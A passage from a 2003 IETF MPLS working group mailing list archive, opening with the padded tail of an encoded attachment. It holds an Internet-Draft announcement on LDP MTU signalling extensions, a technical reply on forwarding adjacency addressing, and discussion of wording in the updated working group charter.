AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABl
CgAAWEMwMDE4MTVkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAEEMAABYQzAwMTgxNWQ=
--_NextPart_000_014FB1AC--



From owner-mpls@UU.NET  Wed Oct  8 11:18:01 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21824
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 11:18:00 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnp23533
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 15:18:09 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjnp23259;
	Wed, 8 Oct 2003 15:17:55 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjno19078
	for mpls-outgoing; Wed, 8 Oct 2003 15:00:25 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpjno18396
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 15:00:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjnn25865
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:54:41 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnn01727
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:54:41 GMT
Received: from sj-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-1-in.cisco.com [171.71.176.70])
	id QQpjnn01721
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:54:41 GMT
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h98EsbJs001455
	for <mpls@uu.net>; Wed, 8 Oct 2003 07:54:37 -0700 (PDT)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ACZ26739;
	Wed, 8 Oct 2003 10:54:36 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h98Esav00202 for mpls@uu.net; Wed, 8 Oct 2003 10:54:36 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjnn16325
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 14:52:37 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpjnn03161
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:50:06 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjnn23580
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:50:05 GMT
Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpjnn23569
	for <mpls@uu.net>; Wed, 8 Oct 2003 14:50:04 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18755;
	Wed, 8 Oct 2003 10:49:55 -0400 (EDT)
Message-Id: <200310081449.KAA18755@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-ldp-mtu-extensions-02.txt
Date: Wed, 08 Oct 2003 10:49:55 -0400
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Maximum Transmission Unit Signalling Extensions 
			  for the Label Distribution Protocol
	Author(s)	: B. Black, K. Kompella
	Filename	: draft-ietf-mpls-ldp-mtu-extensions-02.txt
	Pages		: 10
	Date		: 2003-10-8
	
Proper functioning of RFC 1191 path MTU discovery requires that IP
routers have knowledge of the MTU for each link to which they are
connected.  As currently specified, the Label Distribution Protocol
(LDP) does not have the ability to signal the MTU for a Label
Switched Path (LSP) to the ingress Label Switching Router (LSR).  In
the absence of this functionality, the MTU for each LSP must be
statically configured by network operators or by equivalent, off-line
mechanisms.
This document specifies extensions to LDP in support of LSP MTU
discovery.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-ldp-mtu-extensions-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-ldp-mtu-extensions-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-ldp-mtu-extensions-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-8102652.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-ldp-mtu-extensions-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-ldp-mtu-extensions-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-8102652.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Wed Oct  8 15:37:58 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA05900
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 15:37:58 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjog09506
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 19:38:05 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjog08060;
	Wed, 8 Oct 2003 19:36:30 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjof17399
	for mpls-outgoing; Wed, 8 Oct 2003 19:19:05 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpjof17365
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 19:18:57 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjoe13760
	for <mpls@UU.NET>; Wed, 8 Oct 2003 19:11:55 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjoe05376
	for <mpls@UU.NET>; Wed, 8 Oct 2003 19:11:54 GMT
Received: from merlot.juniper.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint2.juniper.net [207.17.136.150])
	id QQpjoe05364
	for <mpls@UU.NET>; Wed, 8 Oct 2003 19:11:54 GMT
Received: from kummer.juniper.net (kummer.juniper.net [172.17.12.90])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id h98JBsj02974;
	Wed, 8 Oct 2003 12:11:54 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
Received: from localhost (kireeti@localhost)
	by kummer.juniper.net (8.11.6/8.9.3) with ESMTP id h98JBrF03631;
	Wed, 8 Oct 2003 12:11:53 -0700 (PDT)
	(envelope-from kireeti@juniper.net)
X-Authentication-Warning: kummer.juniper.net: kireeti owned process doing -bs
Date: Wed, 8 Oct 2003 12:11:53 -0700 (PDT)
From: Kireeti Kompella <kireeti@juniper.net>
To: Anu  Divya <anudivka@rediffmail.com>
cc: mpls@UU.NET
Subject: Re: your mail
In-Reply-To: <20031007175523.18032.qmail@webmail35.rediffmail.com>
Message-ID: <20031008120255.H2572@kummer.juniper.net>
References: <20031007175523.18032.qmail@webmail35.rediffmail.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Tue, 7 Oct 2003, Anu  Divya wrote:

> If the forwarding Adjaceny (FA) is numbered, what would be its IP
> address as for representation.

a.b.c.d, 0 <= a,b,c,d <= 255, a > 0

If your question is, how are the FA's addresses assigned, they are
probably configured (note: there are two addresses, one for each end).
If your question is how this IP address is announced, in OSPF-TE, it
would be the "Local/Remote interface IP address" (section 5.1.3 of LSP
hierarchy).  If the FA is to appear as a hop in an RSVP-TE ERO, you'd
use the IPv4 ERO.

If you meant something else, you'll have to explain what you mean.

Kireeti.


From owner-mpls@UU.NET  Wed Oct  8 17:22:59 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA09977
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 17:22:59 -0400 (EDT)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjon14922
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 21:23:07 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjon14604;
	Wed, 8 Oct 2003 21:22:52 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjom04690
	for mpls-outgoing; Wed, 8 Oct 2003 21:05:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpjom04411
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 21:05:23 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpjom18046
	for <mpls@UU.NET>; Wed, 8 Oct 2003 21:00:19 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjom28668
	for <mpls@UU.NET>; Wed, 8 Oct 2003 21:00:13 GMT
Received: from smtp1.fre.skanova.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp1.fre.skanova.net [195.67.227.94])
	id QQpjol17472
	for <mpls@UU.NET>; Wed, 8 Oct 2003 20:57:31 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp1.fre.skanova.net (8.12.10/8.12.10) with ESMTP id h98Ktk34000125;
	Wed, 8 Oct 2003 22:55:46 +0200 (CEST)
Message-ID: <3F8479D6.3040200@pi.se>
Date: Wed, 08 Oct 2003 22:55:50 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dpapadimitriou@PSG.COM>
CC: Jean Philippe Vasseur <jvasseur@cisco.com>, mpls wg <mpls@UU.NET>,
        George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>,
        iesg-secretary@ietf.org
Subject: Re: [Fwd: Updated MPLS charter]
References: <E1A7DeX-000Izn-40@psg.com>
In-Reply-To: <E1A7DeX-000Izn-40@psg.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

All,

please note that this is not on the IESG plate, comments on the charter
needs to go to

IESG <iesg-secretary@ietf.org>

On the subjet matter of this discusion - there is a fine line between
what is implicitly included and what is not included by not mentioning
it.

I do not have a problem with the wording suggested by Dimitri -
"procedures for" is fine with me.

/Loa

Dimitri Papadimitriou wrote:

> jp, imho the first part of this sentence:
> ">    - procedures and protocols for multicast protocol extensions for
> 
>>       point-to-multipoint TE, including soft-preemption"
> 
> 
> might also be clarified as follows:
> 
>>   - procedures and protocol extensions for point-to-multipoint TE LSPs
> 
> 
> the last two items of the charter say "for setup of" (is teardown - or 
> other operations such as mbr or frr- ommitted?) i would thus suggest to 
> make to leave scope open
> 
> thanks,
> - dimitri.
> 
> 
>>Hi Loa and George,
>>
>>One comment in line.
>>
>>At 10:02 AM 10/2/2003 +0200, Loa Andersson wrote:
>>
>>
>>>All,
>>>
>>>an updated version of the MPLS working group charter has
>>>been sent to the IESG review. Comments on the charter should
>>>be sent to the working group mailing list.
>>>
>>>/Loa
>>>
>>>
>>> Multiprotocol Label Switching (mpls)
>>> -------------------------------------
>>>
>>> Current Status: Active Working Group
>>>
>>> Chair(s):
>>>   George Swallow <swallow@cisco.com>
>>>   Loa Andersson <loa@pi.se>
>>>
>>> Routing Area Director(s):
>>>   Bill Fenner <fenner@research.att.com>
>>>   Alex Zinin <zinin@psg.com>
>>>
>>> Routing Area Advisor:
>>>   Alex Zinin <zinin@psg.com>
>>>
>>> Mailing Lists:
>>> General Discussion: mpls@uu.net
>>> To Subscribe: mpls-request@uu.net
>>> In Body: subscribe (unsubscribe)
>>> Archive: http://cell.onecall.net/cell-relay/archives/mpls/mpls.index.html
>>>
>>> Description of Working Group:
>>>
>>> The MPLS working group is responsible for standardizing a base
>>> technology for using label switching and for the implementation of
>>> label-switched paths over various packet based link-level
>>> technologies, such as Packet-over-Sonet, Frame Relay, ATM, and
>>> LAN technologies (e.g. all forms of Ethernet, Token Ring, etc.).
>>> This includes procedures and protocols for the distribution of
>>> labels between routers and encapsulation.
>>>
>>> The working group is also responsible for specifying the necessary
>>> MIBs for the  functionality specified in the base MPLS technology.
>>>
>>> The first generation of the MPLS standards are largely complete,
>>> and the current WG work items are:
>>>
>>> - procedures and protocols for multicast protocol extensions for
>>>   point-to-multipoint TE, including soft-preemption
>>
>>The last sentence might be slightly confusing, the word "including" gives 
>>the impression that soft preemption is part of the charter only in the 
>>context of point-to-multipoint although it applies to any sort of TE LSP, 
>>right ?
>>
>>Thanks.
>>
>>JP.
>>
>>
>>> - Define requirements and mechanisms for MPLS OAM
>>>
>>> - Define an overall OAM framework for MPLS applications
>>>
>>> - MPLS-specific aspects of traffic engineering for multi-areas/multi-AS
>>>   in cooperation with the CCAMP WG
>>>
>>> The Working Group chairs tracking of the working group documents can be
>>> viewed at http://urax.utfors.net/~loa/MPLS_WG_Drafts.htm
>>>
>>> Goals and Milestones:
>>>
>>> Done    Submit documents from original MPLS effort to IESG
>>>
>>> Done    Framework for IP multicast over label-switched paths ready
>>>         for advancement.
>>>
>>> Done    LDP fault tolerance specification ready for advancement to
>>>         Proposed Standard.
>>>
>>> Done    Specification for MPLS-specific recovery ready for advancement.
>>>
>>> Done    Submit Multiprotocol Label Switching (MPLS) Forward
>>>         Equivalency Class-To-Next Hop Label Forwarding Entry
>>>         Management Information Base to the IESG for publication as
>>>         Proposed Standards
>>>
>>> Done    Submit Definitions of Managed Objects for MultoiProtocol
>>>         Label Switching, Label Distribution Protocol (LDP) to the
>>>         IESG for publication as Proposed Standards
>>>
>>> Done    Submit Multiprotocol Label Switching (MPLS) Label Switching
>>>         Router (LSR), Management Information Base to the IESG for
>>>         publication as Proposed Standards
>>>
>>> Done    Submit Multiprotocol Label Switching (MPLS) Management Overview
>>>         to the IESG for publication as Proposed Standards
>>>
>>> Done    Submit Definitions of Textual Conventions for Multiprotocol
>>>         Label Switching (MPLS) Management to the IESG for publication
>>>         as Proposed Standards
>>>
>>> Done    Submit Multiprotocol Label Switching (MPLS) Traffic
>>>         Engineering Management Information Base to the IESG for
>>>         publication as Proposed Standards
>>>
>>> Oct 03  Advance the Label Distribution Protocol to Draft Standard.
>>>
>>> Oct 03  Submit the Traffic Engineering Link MIB to the IESG for
>>>         as a Proposed Standard
>>>
>>> Oct 03  Submit a specification on Encapsulations to carry MPLS over
>>>         IP and GRE to the IESG for as a Proposed Standard
>>>
>>> Nov 03  Together with CCAMP complete and establish the (G)MPLS change
>>>         process
>>>
>>> Apr 04  Advance MPLS Architecture and MPLS encapsulation to Draft
>>>         Standard
>>>
>>> Apr 04  Submit a specification on Soft Pre-emption of LSP Tunnels to
>>>         the IESG for publication as a Proposed Standard
>>>
>>> Nov 03  Submit specification on LSP Ping to the IESG for publication
>>>         as a Proposed Standard
>>>
>>> Apr 04  Submit specification on LSR Self Test to the IESG for
>>>         publication as a Proposed Standard
>>>
>>> Aug 04  Submit an OAM Framework Document to the IESG for publication
>>>         as an Informational RFC
>>>
>>> Oct 04  Advance "Extension to RSVP for LSP Tunnels" to Draft
>>>         Standard
>>>
>>> Nov 04  Submit a document defining the scope, requirements, and issues
>>>         to resolve for setup of P2MP TE LSPs (MPLS and GMPLS)
>>>
>>> Mar 04  Submit document(s) specifying protocol extensions, enhancements
>>>         and mechanisms for setup of P2MP TE LSPs
>>>
>>>
>>>-----------------------------------
>>>
>>>FYI, removed or replaced milestones:
>>>
>>> REMOVE  Shepherd completed MPLS specifications through IESG review and 
>>>RFC editor processing
>>> REMOVE  MPLS-TE MIB ready for advancement to Proposed Standard
>>> REMOVE  Base MPLS Proposed Standard RFCs ready for advancement to Draft 
>>>Standard.
>>> REMOVE  LDP end-to-end LSP authentication ready for advancement to 
>>>Proposed Standard.
>>>
>>>
>>>
>>>
>>>
>>>--
>>>Loa Andersson
>>>
>>>Mobile          +46 739 81 21 64
>>>Email           loa@pi.se
>>>
>>>
>>
>>
> 
> 
> 

-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se




From owner-mpls@UU.NET  Wed Oct  8 18:56:39 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA13841
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 18:56:38 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjot18012
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 22:56:48 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpjot17657;
	Wed, 8 Oct 2003 22:56:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpjos02785
	for mpls-outgoing; Wed, 8 Oct 2003 22:34:13 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpjos02774
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 8 Oct 2003 22:34:09 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpjos09986
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:31:54 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjos14910
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:31:54 GMT
Received: from smtp4.hy.skanova.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp4.hy.skanova.net [195.67.199.133])
	id QQpjos14895
	for <mpls@UU.NET>; Wed, 8 Oct 2003 22:31:53 GMT
Received: from pi.se (h45n1fls31o888.telia.com [213.67.172.45])
	by smtp4.hy.skanova.net (8.12.10/8.12.10) with ESMTP id h98MVTaX015749;
	Thu, 9 Oct 2003 00:31:29 +0200 (CEST)
Message-ID: <3F849045.4020406@pi.se>
Date: Thu, 09 Oct 2003 00:31:33 +0200
From: Loa Andersson <loa@pi.se>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: "Wijnen, Bert (Bert)" <bwijnen@lucent.com>
CC: Dimitri Papadimitriou <dpapadimitriou@PSG.COM>,
        Jean Philippe Vasseur <jvasseur@cisco.com>, mpls wg <mpls@UU.NET>,
        George Swallow <swallow@cisco.com>, Alex Zinin <zinin@PSG.COM>,
        iesg-secretary@ietf.org
Subject: Re: [Fwd: Updated MPLS charter]
References: <7D5D48D2CAA3D84C813F5B154F43B15502A20961@nl0006exch001u.nl.lucent.com>
In-Reply-To: <7D5D48D2CAA3D84C813F5B154F43B15502A20961@nl0006exch001u.nl.lucent.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Bert,

yes I meant "now" - sorry for the confusion!

/Loa

Wijnen, Bert (Bert) wrote:
> Inline
> 
> 
>>-----Original Message-----
>>From: Loa Andersson [mailto:loa@pi.se]
>>Sent: woensdag 8 oktober 2003 22:56
>>To: Dimitri Papadimitriou
>>Cc: Jean Philippe Vasseur; mpls wg; George Swallow; Alex Zinin;
>>iesg-secretary@ietf.org
>>Subject: Re: [Fwd: Updated MPLS charter]
>>
>>
>>All,
>>
>>please note that this is not on the IESG plate, comments on 
> 
> 
> Did you mean "is now on the IESG plate" ?
>                  ^^^
> 
>>the charter needs to go to
>>
>>IESG <iesg-secretary@ietf.org>
>>
> better to send it to iesg@ietf.org, then it gies directly to
> us instead of to secretary who would have to forward it to IESG.
> 
> Bert
> 
> 

-- 
Loa Andersson

Mobile          +46 739 81 21 64
Email           loa@pi.se




From owner-mpls@UU.NET  Wed Oct  8 20:18:57 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA16429
	for <mpls-archive@lists.ietf.org>; Wed, 8 Oct 2003 20:18:57 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpjoz29841
	for <mpls-archive@lists.ietf.org>; Thu, 9 Oct 2003 00:19:05 GMT
